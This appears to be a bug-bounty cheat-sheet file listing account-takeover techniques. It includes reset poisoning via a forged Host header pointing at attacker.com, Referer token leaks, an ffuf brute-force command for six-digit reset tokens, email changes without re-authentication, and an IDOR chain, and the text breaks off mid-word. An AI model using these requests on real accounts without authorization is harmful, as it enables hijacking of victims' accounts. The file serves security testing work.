hunt-atolisted

## 13. ATO — ACCOUNT TAKEOVER TAXONOMY ### Path 1: Password Reset Poisoning ```bash POST /forgot-password Host: attacker.com # or X-Forwarded-Host: attacker.com email=victim@company.com # Reset link sent to attacker.com/reset?token=XXXX ``` ### Path 2: Reset Token in Referrer Leak ``` GET /reset-password?token=ABC123 → page loads: <script src="https://analytics.com/track.js"> → Referer: https://target.com/reset-password?token=ABC123 sent to analytics ``` ### Path 3: Predictable / Weak Reset Tokens ```bash # Brute force 6-digit numeric token ffuf -u "https://target.com/reset?token=FUZZ" \ -w <(seq -w 000000 999999) -fc 404 -t 50 ``` ### Path 4: Token Not Expiring ``` Request token → wait 2 hours → still works? = bug Request token #1 → request token #2 → use token #1 → still works? = bug ``` ### Path 5: Email Change Without Re-Auth ```bash PUT /api/user/email {"new_email": "attacker@evil.com"} # no current_password required ``` ### ATO Priority Chain - Critical: no-user-interaction ATO - High: requires one email click OR existing session - Medium: requires phishing + user interaction - Low: requires attacker to be MitM --- ## Related Skills & Chains - **`hunt-idor`** — The most reliable ATO primitive that requires no email control and no race. Chain primitive: `PATCH /api/users/{victim_uid}` with attacker session + victim UID + `{"email":"attacker@evil.com"}` → trigger password reset → reset email arrives at attacker → full ATO with zero victim interact